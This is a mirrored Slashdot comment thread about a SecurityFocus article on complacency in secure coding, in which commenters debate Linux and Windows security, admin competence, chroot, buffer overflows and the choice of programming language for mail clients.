Slashdot Mirror


Too Cool For Secure Code?

An anonymous reader writes "Looks like not everyone believes Linux is the monolith of security folks might like us to think. Jon Lasser raises some interesting points in this article over at Security Focus. Though it has to be said, that whilst he focuses on the Linux/Unix side of things, a good proportion of programmers (no matter what they work on) are guilty of similar conceit to some extent."

465 comments

  1. Yeah..all that awesome 'peer reviewed' code... by FatSean · · Score: 0

    Taken a look at sourceforge? My god, some of the work is horrible!

    --
    Blar.
    1. Re:Yeah..all that awesome 'peer reviewed' code... by Vinson+Massif · · Score: 1

      At sourceforge you can see it.

      --
      "Remember, any tool can be the right tool." -- Red Green
    2. Re:Yeah..all that awesome 'peer reviewed' code... by FauxPasIII · · Score: 1

      >> My god, some of the work is horrible!

      Most code is horrible, period. That's why you spend extra time and effort on the fundamental stuff like the kernel. If your kernel's working, and you're non-root, then the worst you can do is trash every file and process that you own. ;)

      --
      25% Funny, 25% Insightful, 25% Informative, 25% Troll
    3. Re:Yeah..all that awesome 'peer reviewed' code... by Manip · · Score: 1

      I went to IRC and tried to ask some questions about buffer-overflows with code execution and they called me a hacker and banned me. This is just insane, if programmers don't discuss or uderstand the problems how can they fix them! Most programmers are still stuck in the 1990's of security and don't intend to evolve let alone to update/fix any problems before they become issues

    4. Re:Yeah..all that awesome 'peer reviewed' code... by janus03 · · Score: 2, Informative

      Try Aleph1's excellent article from phrack.org:
      http://www.phrack.org/phrack/49/P49-1 4

    5. Re:Yeah..all that awesome 'peer reviewed' code... by jc42 · · Score: 1

      This is just insane, if programmers don't discuss or uderstand the problems how can they fix them!

      Exactly. But you have to understand, the goal isn't to prevent such problems. If people really wanted that, they'd be openly documented exactly how every security hole works, so that programmers could learn and not repeat those mistakes.

      When people keep the programmers ignorant, it's a dead giveaway that they're looking for scapegoats, not solutions.

      As long as they keep you and me ignorant of how the security holes work, we will both continue to implement security holes. Then people can blame us for our ignorance, without facing the reasons that we're so ignorant.

      Lasser's comments don't help much here. He seems to think that the solution is higher levels of abstraction. But from a security viewpoint, what that mostly does is increase the number of "black boxes" whose behavior the programmer can't know. The more black boxes you have underneath your code, the more places there are for security holes. And when a problem pops up in the lower levels, you usually can't get at the innards to fix things.

      Open Source is a partial solution to this, because *in principle" you can open up those black boxes and learn about the details. But to make this work, programmers have to have the time to thoroughly analyze and understand everything under their own code. We almost never have the time.

      And note that the Open Source community is not immune to the mistake of treating an inquiring programmer as a bad guy. This goes a long way toward making even the most open systems insecure.

      --
      Those who do study history are doomed to stand helplessly by while everyone else repeats it.
    6. Re:Yeah..all that awesome 'peer reviewed' code... by blackbear · · Score: 1

      Most people miss the point completly. No operating system, save a few special purpose systems with things like mandatory access controls and classification tags, is very secure without a great deal of work.

      Unix (Linux/BSD/Solaris/etc...) is recognized throughout the industry to be more secureable than any version of windows. This requires an experienced knowledgeable professional initially, as well as, ongoing administration performed by an experienced knowledgeable human being. No system can be made secure, or kept secure for long, without these things at a minimum.

      The reason for this is that Unix, in the keeping of a competent Unix admin, allows greater flexability and control than Windows in the hands of an equally competent Windows admin. This is not conjecture, it is the experience of the industry.

      The diference in aproach is profound and fundamental. I don't claim that one OS is better or worse for any given aplication, rather that the aproach of Unix to solving the business problem of securing data is fundamentally more sound than that of Windows. This has nothing to do with how secure or insecure the various apps are. No one can reasonably claim that Linux is more secure than Windows. It does, however, have greater potental to be so, given the self imposed limitations of the Windows approach.

      Can we stop arguing about this now? I think that if you look at the various perspectives from which everyone makes their arguments, you will quickly see where the truth lies.

  2. In Soviet Russia code secures YOU by dmontreuil · · Score: 0

    In Soviet Russia code secures YOU

    --
    no llamas were harmed in the making of this sig
    1. Re:In Soviet Russia code secures YOU by Anonymous Coward · · Score: 0

      No, in Soviet Russia the KGB would secure YOU.

  3. Too cool for security by The+Terrorists · · Score: 2, Insightful
    Everyone thinks they can hide in teh crowd. Well is someone is determined to hack YOU then they will hack you. If you have something valuable hacking attempts WILL BE MADE! Many will involve social engineering and stuff like that, they will be targeted at YOU.

    Everyone likes to brag about what they are doing and to be nice to people. The best security is social in nature: clam the fuck up about what you are working on, isolate yourself from others who are trained to know the meaning of what you are doing. That's the best security - it leaves you free of determined attempts and leaves only the random attempts at hacking which can be dealt with by techniques mentioned in the article link.

    1. Re:Too cool for security by Omkar · · Score: 1

      "In an age where processing power is cheap, there's no excuse for a mail client written in C or C++."
      This sounds like Microsoft's philosophy - bloat because we can afford to.
      Why not use security tools and a dedication to high performance?

    2. Re:Too cool for security by mrtroy · · Score: 1

      Despite your random capitalization of words, I disagree with you. The best security is not
      The best security is social in nature: clam the fuck up about what you are working on, isolate yourself from others who are trained to know the meaning of what you are doing.

      The reason this does not work is because nobody understood what you just said.
      It is true that you cannot always hide in a crowd, because most exploits end up in the hands of script kiddos who run a scan on *.*.*.* from a previously exploited box they use. Then they run auto-exploiters on all the boxes that appear vulnerable. Then they put a little trojan on those boxes, and make a ddos net, which they use to impress their online lovers and the like.

      So, you cannot just hide in the crowd, however the best way to protect yourself is not to be stupid. Do not leave admin passwords blank (win2k/xp is famous for this one...the default is blank!), do not run OS's that you do not know how to secure, and do not run any specific programs that you do not know how to configure.

      Most exploits are due to misconfiguration or stupidity, so avoid these two things.

      --
      [I can picture a world without war, without hate. I can picture us attacking that world, because they'd never expect it]
    3. Re:Too cool for security by jhigh · · Score: 0

      Actually, the BEST security is VIGILANT security, which means not negating the necessity of taking every proper precaution, including writing secure code.

      Security has to happen on all levels. I think this article is insightful, and we would all do well to check our egos at the door (you know we all have them).

      --
      Social Engineering Expert: Because there is no patch for stupidity.
    4. Re:Too cool for security by InfiniteWisdom · · Score: 1
      Well is someone is determined to hack YOU then they will hack you.

      Many people will take grave offense at your usage of the word 'hack'... unless you're a piece of open-source code of course :)

      <blockquote>
      The best security is social in nature: clam the fuck up about what you are working on, isolate yourself from others who are trained to know the meaning of what you are doing
      </blockquote>
      In other words, security through obscurity?
    5. Re:Too cool for security by Omkar · · Score: 1

      Security through obscurity? Yeah, that works, just ask MS.

    6. Re:Too cool for security by usotsuki · · Score: 1

      Yes, that's what he meant...and we know it doesn't work.

      Just look at how often Maro$haft systems get "haX0red". That's security?

      -uso.

      --
      Dreams, dreams, don't doubt dreams, dreaming children's dreaming dreams. Sailor Moon SS
    7. Re:Too cool for security by Khakionion · · Score: 0

      "Bloat because we can afford to" isn't exactly a fair evaluation for that statement. It's not bloating, it's just not bending over backwards for super-efficiency.

      Like he says, things like MySQL and other things that take a huge amount of work are the progs that need cutting-edge efficiency. The "dedication to high performance" should be directed towards features that don't suck, not "I can sort my mail, filter out spam, and auto-reply to clients in under 2 seconds."

      --
      OMG! Wau!
    8. Re:Too cool for security by odaiwai · · Score: 1

      Mods, mod the parent up.

      It's a great feeling when your users come up and say "hey BoFH, that virus thing that knocked out every other company yesterday; how come we weren't affected?"

      BoFH: "Because *we* [points to sysadmin team] do our job, and we do it *right*."

      dave

    9. Re:Too cool for security by black+mariah · · Score: 1

      No, it sounds more like sense. "Bloat" is an overused term. Bloat isn't a question of programming language, it's a question of skill with said language and having the minimum number of features in a program. One man can code something in assembler that takes ten times as long as something similar programmed in Python. It all comes down to skill.

      --
      'Standards' in computing only impress those who are impressed by things like 'standards'.
    10. Re:Too cool for security by black+mariah · · Score: 2, Insightful

      No. Security through not making a big deal about everything. When you put yourself in a position to be well-known, you put yourself at risk. I think the original point was that as long as you don't try to pull rabbits out of your ass in Times Square on a Saturday, you'll have fewer attacks against your software.

      Or something like that. I'm not really sure.

      --
      'Standards' in computing only impress those who are impressed by things like 'standards'.
  4. Of course not by ch-chuck · · Score: 2, Interesting

    But it is OPEN meaning a COMPETANT admin can MAKE it very secure. About the closest thing to 'out of the box' security is OpenBSD. My Linux (RH71) box was rooted in less than a day after putting it on the 'net. My OpenBSD box has lasted for almost a year.

    --
    try { do() || do_not(); } catch (JediException err) { yoda(err); }
    1. Re:Of course not by Azghoul · · Score: 2, Funny

      So, what you're saying is, you're not a competant admin? :)

    2. Re:Of course not by metalhed77 · · Score: 1

      I don't think that's the article's point. The author argues that programming in low level languages reveals bugs inherently. I'm betting your RH7 box was running a few daemons which got rooted. OpenBSD runs many of the same daemons. And sysadmins could care less from a security standpoint as to whether or not it was open as they don't have time to look at every single line of code they're using.

      --
      Photos.
    3. Re:Of course not by dfn5 · · Score: 1

      I've had 6 Solaris boxes in the Internet with no firewall for over 2 years now with no break ins. It's not rocket science. Packet filters and chrooted services go a long way.

      --
      -- Thou hast strayed far from the path of the Avatar.
    4. Re:Of course not by dasmegabyte · · Score: 1

      I am sick and tired of this "Competent Admin" prick waving. It's a rehash of the old "only bad girls get knocked up" mentality. If you're rooted, it's because your were a Bad Admin.

      Bullshit. Exploits happen -- and they're going to happen right through your firewall, over your precious port 23, and right into your public key encrypted file system. And when it counts, they're going to happen well before the information hits BugTraq.

      What makes you a Competent Admin is quickly noticing attacks, quickly responding to them, and getting the machines back up as fast as possible once they're done. Closing ports and shoving totalitarian password policies in peoples' faces isn't going to do that. Knowing your systems...monitoring them and knowing a usage spike from an attack...is the only way.

      I guess "The Price of Free Software is Eternal Vigilance" (Don't know who I'm ripping off there, besides Wing Commander IV).

      --
      Hey freaks: now you're ju
    5. Re:Of course not by Anonymous Coward · · Score: 0

      FYI, it's Jefferson.

      Not like I didn't get the quote from WC4 as well, but still.

    6. Re:Of course not by tcopeland · · Score: 1

      sed -e 's/23/22/g'

      Assuming you meant SSH...

    7. Re:Of course not by dougmc · · Score: 2, Informative
      chrooted services go a long way
      A minor nitpick ...

      chrooted services don't prevent break-ins. They prevent/reduce damage done after the break-in.

      With some security holes, a chrooted daemon can't be cracked where a non-chrooted daemon can, because the exploit does something like invoke /bin/sh, but that just means that the exploit needs to be altered somewhat to do something other than just invoke /bin/sh.

      Don't get me wrong -- chrooted daemons are more secure than non-chrooted ones if done properly -- but their purpose is not to prevent break-ins, but to reduce their damage.

      If everything is done right, when you exploit a chrooted named daemon, you've got access to a few files that named needs, and nothing else. Yes, your system has been broken into, but all they can do is muck with your named.

      If they break into a non-chrooted named daemon, they've got full access to the system. Depending on how things are set up and how they got in, they may be root, or may be another account. But either way, they're in and can now poke around and look for other things to do.

    8. Re:Of course not by odaiwai · · Score: 1

      Well, for a start, port 23 (Telnet) should be closed. You should only allow access by someone being either physically presnt in the office or via Port 22 and insist on huge passwords (and also keep up to date with CERT warnings, etc.)

      If you're more than a few days behind CERT warnings, you're not paying attention.

      You should also be noticing usage patterns, however. Are you getting a lot of relay attempts on your mail servers? A lot of CONNECT attempts on your http servers? Funny referrals on your web pages? (The list goes on, there are thousands of ways people abuse your services from outside.)

      If you can't monitor your logfiles yourself, write some perl to complain about things out of the ordinary in the logfiles. If they're not abuse, code them into your perl files as ordinary.

      As as sysadmin, you *should* be paranoid. After all, the world *is* trying to take advantage of your servers. make them secure to the best of your ability and then police what goes through them.

      Sure, your initial check on what goes through your servers will chuck up lots of false positives. You'll learn from experience and know exactly what "default\.ida:XXXXX" means in your http logs and all the other little signs of abuse are.

      The price of *all* software is eternal vigilance. This is your job as a sysadmin.

      dave

    9. Re:Of course not by rc-flyer · · Score: 1

      Ummm, I've had a number of RH61 and RH71 boxes on the 'net for 2 years (RH61) and 1 year (RH71).

      No hacks, plenty of attacks. While not saying they are perfect, it helps to shut down all your services that you aren't using, and to install a proper firewall which only lets through the ports that you are interested in.

      --
      -- Error: Cannot find file REALITY.SYS - Universe halted, please reboot!
    10. Re:Of course not by Fulcrum+of+Evil · · Score: 1

      I am sick and tired of this "Competent Admin" prick waving. It's a rehash of the old "only bad girls get knocked up" mentality. If you're rooted, it's because your were a Bad Admin.

      No, it's more like 'only stupid girls get mugged while walking through a dark alley in Hell's Kitchen at 2 in the morning'. The equivalent of a well run system is 2 or 3 people walking as a goup, each armed with slap tasers and concealed Glocks, plus a cellphone with a private security service on speed dial.

      --
      "We returned the General to El Salvador, or maybe Guatemala, it's difficult to tell from 10,000 feet"
    11. Re:Of course not by H*(BZ_2)-Module · · Score: 1
      I don't think that's the article's point. The author argues that programming in low level languages reveals bugs inherently.
      To be quite honest I think the author's point was to tell us all about his neat debunking of the programmer/figher pilot analogy. Read the article again. There is absolutely nothing else of substance there besides his quick little summary of recent security holes at the beginning. The rest of the article is tenuous at best, and self-contradictory at worst. Worse yet, these are the same arguments that we have been reading in various sources for several years now. The only things which are new here are the items I already mentioned.
    12. Re:Of course not by ch-chuck · · Score: 1

      Your right, I'm not! That's why I switched to OpenBSD. Actually I just did the install and put it online, before getting a chance to DO anything, bang, passwords were changed - my remote account didn't work and at the console root had no password! So at least it was rooted by an incompetant cracker who didn't conceal it very well.

      --
      try { do() || do_not(); } catch (JediException err) { yoda(err); }
    13. Re:Of course not by irc.goatse.cx+troll · · Score: 1

      "Yes, your system has been broken into, but all they can do is muck with your named. "

      Or gain access to machines that blindly trust your machine. Or named specificly; poison the cache and use all the fun things you can do with that.

      --
      Pain lasts, kid. Its how you know you're alive. Sometimes I think this growing up thing is just pain management-TheMaxx
    14. Re:Of course not by TheLink · · Score: 1

      You learn from your mistakes, you're aware of your limitations and how to work around them. And that's more than can be said of many[1].

      AND you're willing to publicly admit to your mistakes (albeit semi-anonymously). Heh, you must be the only wise and humble person on Slashdot :).

      Congrats!

      [1] For example: many think they can write in C. But a look at Bugtraq shows most can't. Bind, sendmail, other ISC stuff, etc. I suppose if everyone waited till they got competent in C, most programs would never get done. Then again, there's a chance that's not such a bad thing.

      --
  5. Secure Code... by mrtroy · · Score: 1

    Well first off, I would like to say that every OS has had their fair share of vulnerabilities.

    Secondly, we learned at skool (yes some non cool nerds go to school to learn things) certain ways to make your code less likely to be exploitable. For example, making certain objects static is often useful. Object Orientated Programming lends itself to be useful in making secure code.

    I will leave it to karma sluts to find a link for me :) (bah, but I will also look for some old sample assignments which demonstrate this)

    --
    [I can picture a world without war, without hate. I can picture us attacking that world, because they'd never expect it]
    1. Re:Secure Code... by kewsh · · Score: 0

      sorry helloworld.cpp doesnt count

    2. Re:Secure Code... by xanadu-xtroot.com · · Score: 2, Funny

      we learned at skool

      Looks like you need to go back and take Internet%20Lingo%20?101 again. It's spelled sk00l not skool.

      --
      I'm not a prophet or a stone-age man,
      I'm just a mortal with potential of a super man.
    3. Re:Secure Code... by Flower · · Score: 1

      sk00l? Isn't spitting chewing tobacco around the server farm a bad thing??

      --
      I don't want knowledge. I want certainty. - Law, David Bowie
    4. Re:Secure Code... by lsdino · · Score: 1

      Secondly, we learned at skool (yes some non cool nerds go to school to learn things) certain ways to make your code less likely to be exploitable. For example, making certain objects static is often useful. Object Orientated Programming lends itself to be useful in making secure code.

      Assuming you're referring to C/C++ here, and you're talking about local variables, the reason that making them static is 'safer' is because they're no longer declared on the stack. Now if you hand one of those vars off to a misbehaving function a buffer overflow won't go onto the stack (so they wouldn't be able to overwrite your return address for example).

      On the other hand you'd be introducing a whole bunch of OTHER problems. It will first make the code non-threadsafe (as all threads will share the same local var). That might not be a big deal. For integers it'd be easy for the inexperienced to leave variables around with previous values. And then of course you may introduce problems similar to strtok where you can only use it on 1 string at a time. So it's certainly not a cure all, and certainly not without it's risks. Finally you can still overflow the buffer, it's just more likely to overflow into a non-dangerous area (where a non-dangerous area is defined as being an area that probably contains all your programs other static variables & global data).

      I think the author of the article is right. If you don't need C or C++'s speed you probably shouldn't be using it. Unfortunately there's just so much legacy code.

    5. Re:Secure Code... by Anonymous Coward · · Score: 0

      I think many, many security experts would vehemently disagree with your assessment. Many OS's are inherently many times more secure than others.

      OpenVMS is tightly engineered. Windows is a corn field in August. Linux is hundreds of people working with no coordination or engineering, hoping everyone else is doing as good a job as they think they are.

      Security can be engineered, just because popular efforts fail to do it doesn't make it true.

  6. Right... by CommieBozo · · Score: 1
    Tell me what my mail client should be written in? Java? C#?

    Maybe this guy buys a new supercomputer every month, but my Duron at work isn't getting faster any time soon.

    1. Re:Right... by gilesjuk · · Score: 1

      Why reinvent the wheel? plenty of clients out there.

    2. Re:Right... by usotsuki · · Score: 1

      Your mail client should be written in 8088 ASM. *g*

      No seriously, I think C is the ideal systems-programming language. It's also the only language ideal for systems hacking that I grok.

      -uso.
      Leetness does not a hacker make. *g*

      --
      Dreams, dreams, don't doubt dreams, dreaming children's dreaming dreams. Sailor Moon SS
    3. Re:Right... by sdokane · · Score: 1

      C# and Java are fast enough for lost of apps. My god, look at how many apps use VB!

      Interestingly enough I decide once to see how productive I was and kept track of no of lines of code for a while using C++, VB. It was pretty much that same. Also tracked the number of lines of well written documentation I could produce in a day and it was about the same. Perhaps the best way to improve porductivity is to put everyone on a typing course. Anyway, back on topic...

      In defence of C++, the same protection from buffer overflows can be obtained using well written library classes. It then becomes part of the language anyway. The problem is that people dont use/develop/publish them. It's the old snobbery "Well if I use someone stuff, I won't know what going on underneath". (Besides it more fun to use the low level stuff). The attitude extents to GUI and much else. E.g. Maintaining makefile is considered a intelectual activity rather than boring accounting. But manual maintainence can introduce build problems and errors.

      On the other hand, the same instinct produces products like LINUX. After all what was wrong with BSD?

    4. Re:Right... by Junks+Jerzey · · Score: 2, Insightful

      Tell me what my mail client should be written in? Java? C#?

      Or Python. Or Ruby. Or Lisp. Or REBOL.

      Maybe this guy buys a new supercomputer every month, but my Duron at work isn't getting faster any time soon.

      I assume that you're trolling. An email client is so lightweight--mostly GUI and waiting for sockets--that you could write it in *anything* and even on 200MHz Pentium, and it would be just fine.

      There has gotten to be some misplaced angst among younger coders, those who are frustrated at the lack of perceived performance in Windows and KDE and various large applications. They come up with pet excuses for that slowness, most of which are invariably, flamingly wrong.

    5. Re:Right... by Randolpho · · Score: 0

      How about Python? D?

      --
      "Times have not become more violent. They have just become more televised."
      -Marilyn Manson
    6. Re:Right... by adamruck · · Score: 1

      well I for one am still learning the art of c++, and if just learned how to go and write code like
      #include
      slist whatever;

      vs writting my own software, I would probably never learn anything. I think the problem is that, someone is playing around with c/c++ writes there own code instead of using standard stuff(for learning purposes as stated above), comes up with some software that is actually worth having, then publishes it on the net without going back and trying to see if they can use the standard secure code that was already available.

      Now on the other hand, if you truly are a c/c++ guru, developing in a controlled inviroment, writting your own code can have signifigant advantages. Ever try looking at STL code(ewwwww) , or for instance overloading the new operator.

      --
      Selling software wont make you money, selling a service will.
    7. Re:Right... by CommieBozo · · Score: 1
      I work on a massive client-side Java application day in and day out. Trust me, it's not the ideal language for client-side GUI software.

      Of course, if you like legions of users with 200Mhz Pentiums complaining about how slow your software is, use Java all you want.

      If I were to start this project over, I would not be using Java.

    8. Re:Right... by Permission+Denied · · Score: 1
      I assume that you're trolling. An email client is so lightweight--mostly GUI and waiting for sockets-- that you could write it in *anything* and even on 200MHz Pentium, and it would be just fine.

      Wrong.

      My preferred mail client used to be vm. This is a mail client written in Lisp. I loved it because it was extremely easy to hack - almost anything you would want to change not only had a setting, but most things had various callbacks, hooks, etc., so you would plug in your code to modify its behaviour. If you found something that didn't have a hook, it was trivial to figure out where the function was defined (C-h f) and change it on-the-fly.

      The problem was that it was too slow. Reading a 1M+ mailbox would take up to a minute on my workstation. I have lots of those.

      I'm now using mutt because it's fast. It only takes maybe two seconds to parse a 10M+ mailbox ("parse" = look for mbox boundries, set up an index in memory so you can jump to any message instantly).

      I'm sure you'll reply that vm needed to do something more "clever" to be faster - like keeping around indeces on disk or using a mailbox format other than mbox. The problem is that us Unix folks do things with mail outside of the MUA. Like edit it directly or run it through perl scripts or use multiple MUAs. This becomes a PITA if you don't use mbox and persistent indexing is pointless since the index would have to be rebuilt any time I did something to the mailbox (which is often enough that indexing wouldn't help).

      The basic problem was that file i/o is slow in Emacs Lisp. VM was absolutely high-quality code and you can't disagree with that until you've studied the code.

      What MUA do you use? Are you willing to eat your own dog food? If your MUA is written in C, are you willing to write one in some HLL? What about your web browser? Are you willing and able to write a web browser in a HLL, complete with asynchronous DNS, plugins and multiple language encodings?

    9. Re:Right... by crazyphilman · · Score: 1

      gilesjuk said, "Why reinvent the wheel? plenty of clients out there."

      Because the wheel is there, and can be reinvented. The new wheel might be better than the old one (you'll never know until you try, right?), and might be a lot of fun to invent. Besides, if no one reinvented the wheel, we'd still all be riding in horse buggies with wooden wheels, wouldn't we? But, instead, we're driving fuel-efficient high-tech cars with CD players and air conditioning...

      Reinvent the wheel! It's a gas, and might make you some money besides.

      --
      Farewell! It's been a fine buncha years!
    10. Re:Right... by decaf_dude · · Score: 1

      I spend most of my days working on software that is written exclusively in Java (OK, *some* C++ for native utilities, called through JNI) and our client component is blazingly fast *and* runs with almost no modification on all major (and a few minor) platforms.


      Oh, did I mention we use SWT?

    11. Re:Right... by Dop · · Score: 1

      Because...

      "DuPont. We don't make the products you buy, we make the products you buy, better."

    12. Re:Right... by ichimunki · · Score: 1

      C might be an ideal systems programming language. But email is not systems programming, is it? Personally I'd prefer mail clients written in any scriptig language (prefer Ruby) over any compiled solution. Of course, both the scripting language and any libraries it might interface with (most importantly, some sort of GUI) would probably be written in C. But that's just my personal preference, not necessarily the best course for the majority.

      --
      I do not have a signature
    13. Re:Right... by usotsuki · · Score: 1

      Depends.

      If you're writing a tightly integrated embedded OS, most certainly, you do want to write the e-mail as system software.

      And if you're Microsoft *g*

      -uso.

      --
      Dreams, dreams, don't doubt dreams, dreaming children's dreaming dreams. Sailor Moon SS
    14. Re:Right... by Junks+Jerzey · · Score: 2, Informative

      The basic problem was that file i/o is slow in Emacs Lisp.

      This is like saying that a particular implementation of the C++ STL is slow, therefore C++ is slow. You can't blame the high level language for a particularly crappy implementation. Emacs Lisp is so famously bad that even Lisp programmers won't touch it.

      That said, I still stand by using high level languages for these kind of applications. These days you can write a well-designed program in Python that appears lightning fast and a poorly designed application in C that's several times slower, despite being compiled to native code.

    15. Re:Right... by gilesjuk · · Score: 1

      But if you take an existing wheel and improve it then it's much easier and you get a higher quality result.

      Plenty of open sourse mail systems, fork one and improve/adapt it.

    16. Re:Right... by codeguy007 · · Score: 1

      10M+ mailbox

      A 10M+ mbox file is just asking for trouble. Anyone in there right mind would be using maildirs over mbox for such big files. maildirs also make it much easier to run multiple muas on the same mailboxes without locking problems.

    17. Re:Right... by Anonymous Coward · · Score: 0

      Just fine? You think an email client is lightweight?

      You're the kind of person whose code would (A) go dog slow and (B) fall over given the mailing list archive for lkml with more than 1,000,000 messages in it, aren't you?

      MUAs sometimes need to handle massive volume, and they should be extremely efficient at this, otherwise - because the user is actively using them - the user will have to wait on the application. This is an age of 3GHz processors - the user should NEVER, EVER have to wait to do any remotely normal task.

    18. Re:Right... by crazyphilman · · Score: 1

      gilesjuk said, " But if you take an existing wheel and improve it then it's much easier and you get a higher quality result. Plenty of open sourse mail systems, fork one and improve/adapt it."

      Sure. That's one option. But you don't *have* to do that, you could try to roll your own, too. If you never roll your own, how will you know whether you could have done a better job? I think there's room for both approaches, and what ends up working well, will succeed. It's darwinism applied to programming. Tons of mutation, many totally new species, the best ones survive and continue to mutate. Besides, as I said, it's kicks, and probably healthier for you than watching television or downloading pr0n.

      --
      Farewell! It's been a fine buncha years!
    19. Re:Right... by multi+io · · Score: 1
      Just fine? You think an email client is lightweight? You're the kind of person whose code would (A) go dog slow and (B) fall over given the mailing list archive for lkml with more than 1,000,000 messages in it, aren't you?
      Yet, when such issues arise, it's typically the case that the program spends 99% of its CPU time in 1% of its LOCs. You then always have the option of rewriting the critical pieces in C and call that from your scripting environment. A MUA is a primarily an interactive tool, and it should be highly configurable using scripts or plug-in code. You really don't want to write all of that in C, IMHO.
    20. Re:Right... by phliar · · Score: 1
      Tell me what my mail client should be written in? Java? C#?
      Of course not! My email client is written in elisp.
      --
      Unlimited growth == Cancer.
    21. Re:Right... by Permission+Denied · · Score: 1

      Not that big a deal - it's just text, so I can fix any munging that some MUA does. If it's just my mail, then I don't care, but if I have to set up other people's mail, then I go with qmail + courier. I agree that it's a better way of dealing with mail, but lots of MUAs still don't grok it.

    22. Re:Right... by chthon · · Score: 1

      Pronto is written in Perl. It is pretty fast, even on a 150 MHz machine.

      Pygmy is written in Python, for Gnome.

      Ratatosk/TkRat is written in Tcl/Tk.

    23. Re:Right... by alexpage · · Score: 1

      Does this make Windows the SUV of computing? Bloated, inefficient, and lacking regulation because of "donations" to the Government?

    24. Re:Right... by crazyphilman · · Score: 1

      Windows, an SUV? Hmm... No, more like a Yugo with a metric ton of extra cargo compartments bolted onto its sheet-metal hood, so that it looks kind of like a mushroom with little wheels.

      I wonder what Linux would be? Maybe a '69 VW Beetle with a Baja kit, a 2400cc motor, fuel injection, off-road tires/suspension, and a roll cage? Bajas are so cool...

      --
      Farewell! It's been a fine buncha years!
  7. to cool for secure code? by potaz · · Score: 1

    Not only am I too cool for secured code, I'm too cool for school.

  8. There is secure code out there. by grub · · Score: 3, Funny


    I've been trying to r00t GORILLAS.BAS on my DOS box for years with no luck.

    --
    Trolling is a art,
    1. Re:There is secure code out there. by stratjakt · · Score: 1

      Heh.

      Back in high school a compiled version of gorilla was about the only 'game' available to students in the libraries computer lab.

      It was dead simple to crash it and have it dump out to a C:\ prompt. Though there wasnt much of interest to do from there on in, being a closed net with no access to anything of import.

      --
      I don't need no instructions to know how to rock!!!!
    2. Re:There is secure code out there. by mrtroy · · Score: 1

      Hehe.
      I would have to say that to my best knowledge, no Microsoft products are r00table. :P

      Gaining admin access, thats another story!

      --
      [I can picture a world without war, without hate. I can picture us attacking that world, because they'd never expect it]
    3. Re:There is secure code out there. by Anonymous Coward · · Score: 0

      nibbles was better anyway

  9. So true by Jack+Wagner · · Score: 3, Insightful

    I've found over the years that most new coders aren't taught the proper basics of coding because they focus on learning high level languages and arcane algorithms, instead of focusing on the art of computing, like Donald Knuth's books.

    Only too often have I sat in on meetings with immature little dweebs who rant on and on about XML or the technolofy flavour of the month or hacking at code to achieve Olog(n) cahche hits instead of focusing on making proper underlying designs.

    Frank Brooks talks quite a bit about this in his book "The Mythical Man Month" where he states that secure computing is getting worse on the level of one order per generation of new programming languages. That book should be required reading by all CS students.

    Warmest regards,
    --Jack

    --


    Wagner LLC Consulting Co. - Getting it right the first time
    1. Re:So true by Strigiform · · Score: 1

      I wonder to what extent certification (e.g. M$ certification in, say, VB) is to blame for this? Some people think that if someone can program in a language and has certification in that language, that the person is a good programmer. Someone with a broader background in programming that includes algorithm design, has at least read some of Knuth, knows something of how processors work (this is one reason why Knuth uses a virtual assembly language) and knows some theory would have a significant edge on the "one-language" certified programmer.

    2. Re:So true by Agilus · · Score: 0

      The author's name is actually Frederick Brooks. :) I agree that the book should be required reading for CS students. Hopefully, every college-level software engineering professor already at -least- recommends it to students, if not requiring them to read it. I believe most do recommend it, and I believe software engineering is becoming a required course at most universities, so this is good.

      --
      hackshop.com - My tech hobby project hub
    3. Re:So true by snowlick · · Score: 1

      Only too often have I sat in on meetings with immature little dweebs who rant on and on about XML or the technolofy flavour of the month or hacking at code to achieve Olog(n) cahche hits instead of focusing on making proper underlying designs. The correct notation is O(logn).

      --
      Crystal Meth: Would you ingest somthing made from a poisonous gas and an explosive metal? You do it every day -- Salt!
    4. Re:So true by Deth_Master · · Score: 1

      Like learning Latin instead of French or something. You learn the base of lots of languages which makes you something of a not-quite-renissance man. I'm not sure that's an advantage. I mean, it's what I would do. Keeps you from being bored with one language, at least.
      With the certification, it shows that you know quite a bit about a specific language, but also it shows that you spent the time and effort (and $$$$$$) to get certified. To companies, it makes you an expert in that language. They need someone skilled in Visual C++. Two people apply: one with certification in VC++ and the other has a background on several projects, one being VC++, and is a good coder. The certification looks better on paper to the company execs. They both have a fairly good chance of getting the job, even if the renissance coder is a better developer in general.

      I suppose in general the renisannce coder has an advantage over the "one-language" coder, but perhaps not when it comes to getting on specific projects.

      --
      find ~your -name '*base* | xargs chown :us
    5. Re:So true by Anonymous Coward · · Score: 0

      Knuth is an artifact -- rooted in the 1950s. He's written 3 volumes, most of which can be learned in first year computer science classes (linked lists, hash tables, etc). I know fellating him is a popular pastime on slashdot, and his books are good for looking impressive, but he's irrelevant

    6. Re:So true by Anonymous Coward · · Score: 0

      Congratulations - you've all been successfully trolled.

    7. Re:So true by trg83 · · Score: 0

      TROLL!

    8. Re:So true by snowlick · · Score: 1

      Only too often have I sat in on meetings with immature little dweebs who rant on and on about XML or the technolofy flavour of the month or hacking at code to achieve Olog(n) cahche hits instead of focusing on making proper underlying designs.

      This comment has been pissing me off all day. I get the feeling that you lean more to the 'art' side of code than the 'technical' side. Hacking at code to achieve O(logn) time takes more than a superficial understanding of the code at hand. They have to understand the "underlying design" to be able to achieve that time bound. You should respect them for taking the time to do the analyzation rather than slapping down something that only "gets the job done". Heavily analyzed code should be good code, and if they got it down to O(logn) it's probably good code. It's code that "gets the job done well".

      Don't bitch about stuff that you apparently don't understand (Olog(n)??). These guys are trying to make the code work in the best way possible. If you're so concerned about this, make sure everyone does design docs. Then you can have design meetings where they can help you get your code to run as quickly as possible, before you even start coding! At the same time you can make sure that they have good underlying design.

      Jeez, this attitude is what they try to hammer out of you in college. Learn your craft, man.

      --
      Crystal Meth: Would you ingest somthing made from a poisonous gas and an explosive metal? You do it every day -- Salt!
    9. Re:So true by Anonymous Coward · · Score: 0

      if you try to look smart, at least do it properly. unless you're just a troll. the 'correct' way is O(log(n)) but too many parantheses can be annoying.

    10. Re:So true by Anonymous Coward · · Score: 0

      O(log(n)) is more of an ASCII notation. When writing, O(logn) is appropriate. Big-O notation was the problem in the initial post, log(n) was a secondary screw-up. ;)

    11. Re:So true by dvdeug · · Score: 1

      secure computing is getting worse on the level of one order per generation of new programming languages.

      Possibly the worst software disaster ever - the TheraRad accidents - came out of code written in assembly. Most security holes I've heard about come out of C and C++ code. Multics is not the end all and be all of programming studies, and we certainly aren't hearing about an order of magnitude more Java and Perl security holes, absolutely or percentage-wise.

    12. Re:So true by Strigiform · · Score: 1
